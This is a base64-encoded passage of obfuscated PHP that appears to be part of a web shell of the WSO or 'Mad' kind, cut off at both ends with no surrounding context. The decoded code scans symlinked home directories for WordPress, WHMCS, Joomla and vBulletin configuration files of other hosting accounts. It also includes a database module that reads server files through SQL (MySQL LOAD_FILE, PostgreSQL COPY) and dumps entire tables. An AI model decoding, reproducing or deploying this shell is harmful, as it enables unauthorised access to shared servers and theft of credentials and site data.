W0vcm9vdC9ob21lLycuJElJSUlJSUlJSTFJMVsnbmFtZSddLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCc7CiRJSUlJSUlJSWwxMTE9Z2V0X2hlYWRlcnMoJElJSUlJSUlJbDExbCk7CiRJSUlJSUlJSTFJSUk9JElJSUlJSUlJbDExMVswXTsKJElJSUlJSUlJMUlJbD0kSUlJSUlJSUlJSUlsLicvc3ltL3Jvb3QvaG9tZS8nLiRJSUlJSUlJSUkxSTFbJ25hbWUnXS4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCc7CiRJSUlJSUlJSTFJSTE9Z2V0X2hlYWRlcnMoJElJSUlJSUlJMUlJbCk7CiRJSUlJSUlJSTFJbEk9JElJSUlJSUlJMUlJMVswXTsKJElJSUlJSUlJMUlsbCA9IHN0cnBvcygkSUlJSUlJSUlJMTFsLCcyMDAnKTsKJElJSUlJSUlJMUkxST0nJm5ic3A7JzsKaWYgKHN0cnBvcygkSUlJSUlJSUlJMTFsLCcyMDAnKSA9PSB0cnVlICkKewokSUlJSUlJSUkxSTFJPSI8YSBocmVmPSciLiRJSUlJSUlJSUkxbDEuIicgdGFyZ2V0PSdfYmxhbmsnPldvcmRwcmVzczwvYT4iOwp9CmVsc2VpZiAoc3RycG9zKCRJSUlJSUlJSWxJSWwsJzIwMCcpID09IHRydWUpCnsKJElJSUlJSUlJMUkxST0iPGEgaHJlZj0nIi4kSUlJSUlJSUlJMTExLiInIHRhcmdldD0nX2JsYW5rJz5Xb3JkcHJlc3M8L2E+IjsKfQplbHNlaWYgKHN0cnBvcygkSUlJSUlJSUlsSWxsLCcyMDAnKSAgPT0gdHJ1ZSBhbmQgc3RycG9zKCRJSUlJSUlJSTFJSUksJzIwMCcpICA9PSB0cnVlICkKewokSUlJSUlJSUkxSTFJPSIgPGEgaHJlZj0nIi4kSUlJSUlJSUlsMTFsLiInIHRhcmdldD0nX2JsYW5rJz5XSE1DUzwvYT4iOwp9CmVsc2VpZiAoc3RycG9zKCRJSUlJSUlJSWwxbEksJzIwMCcpICA9PSB0cnVlKQp7CiRJSUlJSUlJSTFJMUkgPSIgPGEgaHJlZj0nIi4kSUlJSUlJSUlsMUkxLiInIHRhcmdldD0nX2JsYW5rJz5XSE1DUzwvYT4iOwp9CmVsc2VpZiAoc3RycG9zKCRJSUlJSUlJSWwxMUksJzIwMCcpICA9PSB0cnVlKQp7CiRJSUlJSUlJSTFJMUkgPSIgPGEgaHJlZj0nIi4kSUlJSUlJSUlsMWxsLiInIHRhcmdldD0nX2JsYW5rJz5XSE1DUzwvYT4iOwp9CmVsc2VpZiAoc3RycG9zKCRJSUlJSUlJSWxJbGwsJzIwMCcpICA9PSB0cnVlKQp7CiRJSUlJSUlJSTFJMUk9IiA8YSBocmVmPSciLiRJSUlJSUlJSWxJSTEuIicgdGFyZ2V0PSdfYmxhbmsnPkpvb21sYTwvYT4iOwp9CmVsc2VpZiAoc3RycG9zKCRJSUlJSUlJSWxJMWwsJzIwMCcpICA9PSB0cnVlKQp7CiRJSUlJSUlJSTFJMUk9IiA8YSBocmVmPSciLiRJSUlJSUlJSWxJbDEuIicgdGFyZ2V0PSdfYmxhbmsnPkpvb21sYTwvYT4iOwp9CmVsc2VpZiAoc3RycG9zKCRJSUlJSUlJSWxsSWwsJzIwMCcpICA9PSB0cnVlKQp7CiRJSUlJSUlJSTFJMUk9IiA8YSBocmVmPSciLiRJSUlJSUlJSWxJMTEuIicgdGFyZ2V0PSdfYmxhbmsnPnZCdWxsZXRpbjwvYT4iOwp9CmVsc2VpZiAoc3RycG9zKCRJSUlJSUlJSWxsbGwsJzIwMCcpICA9PSB0cnVlKQp7CiRJSUlJSUlJSTFJMUk9IiA8YSBocmVmPSciLiRJSUlJSUlJSWxsSTEuIicgdGFyZ2V0PSdfYmxhbmsnPnZCdWxsZXRpbjwvYT4iOwp9CmVsc2VpZiAoc3RycG9zKCRJSUlJSUlJSWxsMWwsJzIwMCcpICA9PSB0cnVlKQp7CiRJSUlJSUlJSTFJMUk9IiA8YSBocmVmPSciLiRJSUlJSUlJSWxsbDEuIicgdGFyZ2V0PSdfYmxhbmsnPnZCdWxsZXRpbjwvYT4iOwp9CmVsc2UKewpjb250aW51ZTsKfQokSUlJSUlJSUkxSTFsID0gJElJSUlJSUlJSTFJMVsnbmFtZSddIDsKZWNobyAnPHRyPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cuJy4kSUlJSUlJSUlJbDExWzFdWzBdLicvPicuJElJSUlJSUlJSWwxMVsxXVswXS4nPC9hPjwvdGQ+Cjx0ZD4nLiRJSUlJSUlJSTFJMUkuJzwvdGQ+PC90cj4nO2ZsdXNoKCk7Cn0KfQp9Cn0KZWNobyAiPC9jZW50ZXI+PC90YWJsZT4iOyAgIAogICAgCiB9CiAgICAKICAgIGVjaG8gIjwvZGl2PiI7CiAgICBtYWRmb290ZXIoKTsKICAgIAp9ICAgIAoKCmZ1bmN0aW9uIG1hZHNxbCgpCnsKICAgIAogICAgCiAgICBjbGFzcyBEYkNsYXNzIHsKICAgICAgICAgICAgICAgIHZhciAkdHlwZTsKICAgICAgICAgICAgICAgIHZhciAkbGluazsKICAgICAgICAgICAgICAgIHZhciAkcmVzOwogICAgICAgICAgICAgICAgZnVuY3Rpb24gRGJDbGFzcygkdHlwZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+dHlwZSA9ICR0eXBlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZnVuY3Rpb24gY29ubmVjdCgkaG9zdCwgJHVzZXIsICRwYXNzLCAkZGJuYW1lKXsKICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCAkdGhpcy0+bGluayA9IEBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLHRydWUpICkgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaG9zdCA9IGV4cGxvZGUoJzonLCAkaG9zdCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZighJGhvc3RbMV0pICRob3N0WzFdPTU0MzI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiggJHRoaXMtPmxpbmsgPSBAcGdfY29ubmVjdCgiaG9zdD17JGhvc3RbMF19IHBvcnQ9eyRob3N0WzFdfSB1c2VyPSR1c2VyIHBhc3N3b3JkPSRwYXNzIGRibmFtZT0kZGJuYW1lIikgKSByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHNlbGVjdGRiKCRkYikgewogICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBteXNxbF9zZWxlY3RfZGIoJGRiKSlyZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHF1ZXJ5KCRzdHIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSBAbXlzcWxfcXVlcnkoJHN0cik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGZldGNoKCkgewogICAgICAgICAgICAgICAgICAgICAgICAkcmVzID0gZnVuY19udW1fYXJncygpP2Z1bmNfZ2V0X2FyZygwKTokdGhpcy0+cmVzOwogICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBteXNxbF9mZXRjaF9hc3NvYygkcmVzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJHJlcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmdW5jdGlvbiBsaXN0RGJzKCkgewogICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnF1ZXJ5KCJTSE9XIGRhdGFiYXNlcyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2RhdGFiYXNlIFdIRVJFIGRhdGlzdGVtcGxhdGUhPSd0JyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGxpc3RUYWJsZXMoKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgic2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1hJyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19jYXRhbG9nJyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGVycm9yKCkgewogICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBteXNxbF9lcnJvcigpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBAcGdfbGFzdF9lcnJvcigpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHNldENoYXJzZXQoJHN0cikgewogICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsICR0aGlzLT5saW5rKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBwZ19zZXRfY2xpZW50X2VuY29kaW5nKCR0aGlzLT5saW5rLCAkc3RyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGxvYWRGaWxlKCRzdHIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+ZmV0Y2goJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLmFkZHNsYXNoZXMoJHN0cikuIicpIGFzIGZpbGUiKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCJDUkVBVEUgVEFCTEUgd3NvMihmaWxlIHRleHQpO0NPUFkgd3NvMiBGUk9NICciLmFkZHNsYXNoZXMoJHN0cikuIic7c2VsZWN0IGZpbGUgZnJvbSB3c28yOyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHI9YXJyYXkoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCRpPSR0aGlzLT5mZXRjaCgpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcltdID0gJGlbJ2ZpbGUnXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnZHJvcCB0YWJsZSB3c28yJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gYXJyYXkoJ2ZpbGUnPT5pbXBsb2RlKCJcbiIsJHIpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmdW5jdGlvbiBkdW1wKCR0YWJsZSwgJGZwID0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNyZWF0ZSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICRjcmVhdGVbMV0uIjtcbiI7CiAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpOwogICAgICAgICAgICAgICAgICAgICRoZWFkID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnMgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHYgPT0gbnVsbCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiTlVMTCI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoaXNfbnVtZXJpYygkdikpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gJHY7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIiciLkBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHYpLiInIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1uc1tdID0gImAiLiRrLiJgIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBpZigkaGVhZCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuIikgVkFMVUVTIFxuXHQoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAiXG5cdCwoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZighJGhlYWQpCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgIjtcblxuIik7IGVsc2UgZWNobygiO1xuXG4iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1ucyA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1uc1tdID0gJGs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLicpIFZBTFVFUyAoJy5pbXBsb2RlKCIsICIsICRpdGVtKS4nKTsnLiJcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgfTsKICAgICAgICAkZGIgPSBuZXcgRGJDbGFzcygkX1BPU1RbJ3R5cGUnXSk7CiAgICAgICAgaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgewogICAgICAgICAgICAgICAgJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pOwogICAgICAgICAgICAgICAgJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOwogICAgICAgIHN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQnXSkgewogICAgICAgICAgICBjYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsKICAgICAgICAgICAgY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOyBicmVhazsKICAgICAgICB9CiAgICAgICAgaWYoZW1wdHkoJF9QT1NUWydmaWxlJ10pKSB7CiAgICAgICAgICAgIG9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsKICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1kdW1wLnNxbCIpOwogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOwogICAgICAgICAgICBmb3JlYWNoKCRfUE9TVFsndGJsJ10gYXMgJHYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRiLT5kdW1wKCR2KTsKICAgICAgICAgICAgZXhpdDsKICAgICAgICB9IGVsc2VpZigkZnAgPSBAZm9wZW4oJF9QT1NUWydmaWxlJ10sICd3JykpIHsKICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KQogICAgICAgICAgICAgICAgJGRiLT5kdW1wKCR2LCAkZnApOwogICAgICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgdW5zZXQoJF9QT1NUWydwMiddKTsKICAgICAgICB9IGVsc2UKICAgICAgICAgICAgZGllKCc8c2NyaXB0PmFsZXJ0KCJFcnJvciEgQ2FuXCd0IG9wZW4gZmlsZSIpO3dpbmRvdy5oaXN0b3J5LmJhY2soLTEpPC9zY3JpcHQ+Jyk7CiAgICAgICAgfQogICAgICAgIG1hZGhlYWQoKTsKICAgICAgICBlY2hvICIKPGRpdiBjbGFzcz1oZWFkZXI+Cjxmb3JtIG5hbWU9J3NmJyBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PSdmcyh0aGlzKTsnPjx0YWJsZSBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzAnPjx0cj4KPHRkPlR5cGU8L3RkPjx0ZD5Ib3N0PC90ZD48dGQ+TG9naW48L3RkPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPkRhdGFiYXNlPC90ZD48dGQ+PC90ZD48L3RyPjx0cj4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT1TcWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9J3F1ZXJ5Jz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMiB2YWx1ZT0nJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4iJz4KPHRkPjxzZWxlY3QgbmFtZT0ndHlwZSc+PG9wdGlvbiB2YWx1ZT0nbXlzcWwnICI7CiAgICBpZihAJF9QT1NUWyd0eXBlJ109PSdteXNxbCcpZWNobyAnc2VsZWN0ZWQnOwplY2hvICI+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdwZ3NxbCcgIjsKaWYoQCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKWVjaG8gJ3NlbGVjdGVkJzsKZWNobyAiPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPgo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9ob3N0IHZhbHVlPSciLiAoZW1wdHkoJF9QT1NUWydzcWxfaG9zdCddKT8nbG9jYWxob3N0JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2hvc3QnXSkpIC4iJz48L3RkPgo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2xvZ2luJ10pPydyb290JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2xvZ2luJ10pKSAuIic+PC90ZD4KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfcGFzcyB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX3Bhc3MnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BP